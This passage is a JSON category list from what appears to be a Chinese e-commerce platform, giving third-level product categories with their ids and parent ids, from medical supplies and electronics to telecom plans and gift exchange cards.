enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34441,"name":"纱布绷带(器械)","parent_cid":32654,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34440,"name":"退热贴/冰袋(器械)","parent_cid":32654,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34442,"name":"医用胶带","parent_cid":32654,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34374,"name":"便厕用具(器械)","parent_cid":33817,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34375,"name":"褥疮垫/护理垫(器械)","parent_cid":33817,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32647,"name":"助听器","parent_cid":33817,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":33149,"name":"配件","parent_cid":32640,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34580,"name":"体外检测","parent_cid":34579,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31925,"name":"潮服","parent_cid":31923,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31926,"name":"潮品配饰","parent_cid":31923,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31927,"name":"潮玩艺术","parent_cid":31923,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31924,"name":"潮鞋","parent_cid":31923,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26744,"name":"冰柜","parent_cid":21079,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26745,"name":"冰箱","parent_cid":21079,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26746,"name":"电视","parent_cid":21079,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26767,"name":"烘干机","parent_cid":21079,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26748,"name":"酒柜","parent_cid":21079,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26747,"name":"空调","parent_cid":21079,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26768,"name":"热水器","parent_cid":21079,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26766,"name":"洗衣机","parent_cid":21079,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32669,"name":"腕表","parent_cid":32632,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":32670,"name":"箱包","parent_cid":32632,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":32671,"name":"珠宝首饰","parent_cid":32632,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":34162,"name":"儿童玩具乐器","parent_cid":26936,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34150,"name":"钢琴","parent_cid":26936,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34161,"name":"乐器配件","parent_cid":26936,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34160,"name":"乐器周边","parent_cid":26936,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34031,"name":"民族乐器","parent_cid":26936,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":34032,"name":"西洋乐器","parent_cid":26936,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":26654,"name":"笔记本电脑","parent_cid":21059,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26655,"name":"笔记本配件","parent_cid":21059,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26581,"name":"CPU","parent_cid":21059,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26631,"name":"服务器/工作站","parent_cid":21059,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26590,"name":"键盘","parent_cid":21059,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26588,"name":"机箱","parent_cid":21059,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26586,"name":"内存","parent_cid":21059,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26641,"name":"平板电脑","parent_cid":21059,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26663,"name":"平板电脑配件","parent_cid":21059,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26591,"name":"鼠标","parent_cid":21059,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26582,"name":"SSD固态硬盘","parent_cid":21059,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26619,"name":"台式机","parent_cid":21059,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26587,"name":"显卡","parent_cid":21059,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26620,"name":"显示器","parent_cid":21059,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26589,"name":"硬盘","parent_cid":21059,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26618,"name":"一体机","parent_cid":21059,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26643,"name":"装机配件","parent_cid":21059,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26585,"name":"主板","parent_cid":21059,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26642,"name":"组装电脑","parent_cid":21059,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26716,"name":"电池/充电器","parent_cid":21077,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26714,"name":"MP3/MP4/录音笔","parent_cid":21077,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26718,"name":"拍照配件","parent_cid":21077,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26715,"name":"VR眼镜","parent_cid":21077,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26717,"name":"无人机","parent_cid":21077,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26722,"name":"移动电源","parent_cid":21077,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26719,"name":"智能家居","parent_cid":21077,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26713,"name":"智能机器人","parent_cid":21077,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26721,"name":"智能手表","parent_cid":21077,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26720,"name":"智能手环","parent_cid":21077,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26723,"name":"其它数码3C产品","parent_cid":21077,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26916,"name":"5G/4G/3G设备","parent_cid":21222,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26914,"name":"交换机","parent_cid":21222,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27069,"name":"路由器","parent_cid":21222,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26949,"name":"网卡","parent_cid":21222,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26915,"name":"网络存储","parent_cid":21222,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27327,"name":"网络机顶盒","parent_cid":21222,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27195,"name":"网络配件","parent_cid":21222,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27008,"name":"耳机/耳麦","parent_cid":21213,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26921,"name":"Hifi音箱/功放/器材","parent_cid":21213,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27067,"name":"麦克风","parent_cid":21213,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27159,"name":"收音机/录音机","parent_cid":21213,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27372,"name":"影音电器配件","parent_cid":21213,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26937,"name":"音响","parent_cid":21213,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26553,"name":"单反相机","parent_cid":21046,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26544,"name":"镜头","parent_cid":21046,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26551,"name":"三脚架/云台","parent_cid":21046,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26552,"name":"闪光灯/手柄","parent_cid":21046,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26547,"name":"摄像机","parent_cid":21046,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26555,"name":"数码相机","parent_cid":21046,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26554,"name":"影棚器材","parent_cid":21046,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26556,"name":"运动相机","parent_cid":21046,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27032,"name":"手柄/方向盘","parent_cid":21216,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27068,"name":"游戏机","parent_cid":21216,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27300,"name":"游戏软件/卡带","parent_cid":21216,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27373,"name":"游戏音频设备","parent_cid":21216,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27193,"name":"游戏周边","parent_cid":21216,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26938,"name":"帽子","parent_cid":21214,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27009,"name":"围巾/丝巾","parent_cid":21214,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27031,"name":"眼镜/太阳镜","parent_cid":21214,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26939,"name":"腰带","parent_cid":21214,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27192,"name":"其他配饰","parent_cid":21214,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26413,"name":"护理用品","parent_cid":21027,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26407,"name":"鉴定/质检服务","parent_cid":21027,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26405,"name":"维修/养护服务","parent_cid":21027,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26406,"name":"维修/养护配件","parent_cid":21027,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26414,"name":"置换服务","parent_cid":21027,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26412,"name":"其它服务","parent_cid":21027,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26256,"name":"国产腕表","parent_cid":20934,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26111,"name":"怀表","parent_cid":20934,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26260,"name":"欧美腕表","parent_cid":20934,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26258,"name":"日韩腕表","parent_cid":20934,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26261,"name":"瑞士名表","parent_cid":20934,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26257,"name":"手表配件","parent_cid":20934,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26259,"name":"智能腕表","parent_cid":20934,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26110,"name":"其他","parent_cid":20934,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26178,"name":"单肩包","parent_cid":20933,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26177,"name":"化妆包","parent_cid":20933,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26105,"name":"卡包","parent_cid":20933,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26106,"name":"卡套","parent_cid":20933,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26185,"name":"旅行袋","parent_cid":20933,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26184,"name":"旅行箱","parent_cid":20933,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26109,"name":"钱包","parent_cid":20933,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26182,"name":"手机包","parent_cid":20933,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26180,"name":"手拿包","parent_cid":20933,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26181,"name":"手提包","parent_cid":20933,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26179,"name":"双肩包","parent_cid":20933,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26183,"name":"斜挎包","parent_cid":20933,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26107,"name":"胸包","parent_cid":20933,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26108,"name":"腰包","parent_cid":20933,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26944,"name":"摆饰","parent_cid":21217,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26945,"name":"耳环","parent_cid":21217,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26941,"name":"发饰","parent_cid":21217,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26947,"name":"脚链","parent_cid":21217,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27010,"name":"戒指/指环","parent_cid":21217,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26942,"name":"手链","parent_cid":21217,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26943,"name":"手镯","parent_cid":21217,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26948,"name":"项链","parent_cid":21217,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27011,"name":"项坠/吊坠","parent_cid":21217,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26946,"name":"胸针","parent_cid":21217,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26940,"name":"其它","parent_cid":21217,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28076,"name":"中国电信","parent_cid":21527,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28078,"name":"中国联通","parent_cid":21527,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28077,"name":"中国移动","parent_cid":21527,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28096,"name":"运营商增值业务","parent_cid":21568,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33877,"name":"全网通/三网通","parent_cid":21558,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33876,"name":"中国电信","parent_cid":21558,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33875,"name":"中国联通","parent_cid":21558,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28094,"name":"中国移动","parent_cid":21558,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33880,"name":"全网通/三网通","parent_cid":21528,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33879,"name":"中国电信china telecom","parent_cid":21528,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28079,"name":"中国联通china unicom","parent_cid":21528,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33878,"name":"中国移动china mobile","parent_cid":21528,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28100,"name":"虚拟运营商新号码套餐","parent_cid":21574,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28097,"name":"中国电信新号码套餐","parent_cid":21574,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28099,"name":"中国联通新号码套餐","parent_cid":21574,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28098,"name":"中国移动新号码套餐","parent_cid":21574,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28092,"name":"宽带加速","parent_cid":21550,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28093,"name":"有线宽带办理","parent_cid":21550,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33864,"name":"新能源汽车充电","parent_cid":33704,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33865,"name":"移动电源充电","parent_cid":33704,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28809,"name":"出行卡券","parent_cid":22119,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28823,"name":"网约车充值","parent_cid":22119,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33705,"name":"到站加油服务","parent_cid":22136,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":33866,"name":"官方电子加油券","parent_cid":22136,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28894,"name":"官方加油卡充值","parent_cid":22136,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":28893,"name":"官方实物加油卡","parent_cid":22136,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":28660,"name":"APP STORE充值卡","parent_cid":22105,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28661,"name":"App Store直充","parent_cid":22105,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28663,"name":"iTunes卡","parent_cid":22105,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31971,"name":"国际机票","parent_cid":31969,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":31970,"name":"国内机票","parent_cid":31969,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":24988,"name":"贵宾休息室","parent_cid":20642,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24989,"name":"机票增值服务","parent_cid":20642,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25526,"name":"餐饮具卡","parent_cid":20778,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25583,"name":"服饰清洗卡","parent_cid":20817,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25582,"name":"家电服务卡","parent_cid":20817,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25581,"name":"家政服务卡","parent_cid":20817,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25570,"name":"甜品/冰淇淋/咖啡兑换卡","parent_cid":20812,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25445,"name":"美护发卡","parent_cid":20722,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25450,"name":"身体护理卡","parent_cid":20722,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25451,"name":"身体清洁卡","parent_cid":20722,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25448,"name":"其他个护卡","parent_cid":20722,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25440,"name":"个人洗护清洁用具卡","parent_cid":20721,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25439,"name":"家务/地板清洁用具卡","parent_cid":20721,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25452,"name":"啤酒兑换卡","parent_cid":20729,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25510,"name":"调味品/果酱/沙拉兑换卡","parent_cid":20768,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25518,"name":"方便速食兑换卡","parent_cid":20768,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25519,"name":"烘焙原料兑换卡","parent_cid":20768,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25520,"name":"米面杂粮兑换卡","parent_cid":20768,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25511,"name":"食用油/调味油兑换卡","parent_cid":20768,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25566,"name":"饼干膨化兑换卡","parent_cid":20803,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25561,"name":"豆干兑换卡","parent_cid":20803,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25559,"name":"糕点兑换卡","parent_cid":20803,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25558,"name":"坚果兑换卡","parent_cid":20803,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25562,"name":"巧克力兑换卡","parent_cid":20803,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25565,"name":"肉干卤味兑换卡","parent_cid":20803,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25560,"name":"糖果兑换卡","parent_cid":20803,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25564,"name":"新鲜蛋糕兑换卡","parent_cid":20803,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25563,"name":"枣蜜饯兑换卡","parent_cid":20803,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25442,"name":"零食/坚果/特产卡","parent_cid":20730,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25514,"name":"半成品菜兑换卡","parent_cid":20767,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25507,"name":"蛋/蛋制品兑换卡","parent_cid":20767,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25508,"name":"海鲜/水产品/制品兑换卡","parent_cid":20767,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25515,"name":"南北干货兑换卡","parent_cid":20767,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25509,"name":"生肉/肉制品兑换卡","parent_cid":20767,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25517,"name":"水果制品兑换卡","parent_cid":20767,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25513,"name":"新鲜蔬菜/蔬菜制品兑换卡","parent_cid":20767,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25516,"name":"新鲜水果兑换卡","parent_cid":20767,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25512,"name":"腌制蔬菜/泡菜/脱水蔬菜卡","parent_cid":20767,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25555,"name":"家私/皮具护理品卡","parent_cid":20800,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25557,"name":"家庭环境清洁剂卡","parent_cid":20800,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25556,"name":"衣物清洁剂/护理剂卡","parent_cid":20800,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25554,"name":"纸品/湿巾卡","parent_cid":20800,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25499,"name":"垂钓运动兑换卡","parent_cid":20745,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27774,"name":"成人语言线下培训","parent_cid":21416,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27754,"name":"少儿才艺门店","parent_cid":21416,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27596,"name":"学历/职业考试线下培训","parent_cid":21416,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27657,"name":"个人形象","parent_cid":21417,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27659,"name":"健康养生","parent_cid":21417,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27660,"name":"健身健美","parent_cid":21417,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27558,"name":"美术","parent_cid":21417,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27557,"name":"烹饪","parent_cid":21417,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27757,"name":"生活技能培训","parent_cid":21417,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27632,"name":"神秘学","parent_cid":21417,"level":3,"enable":1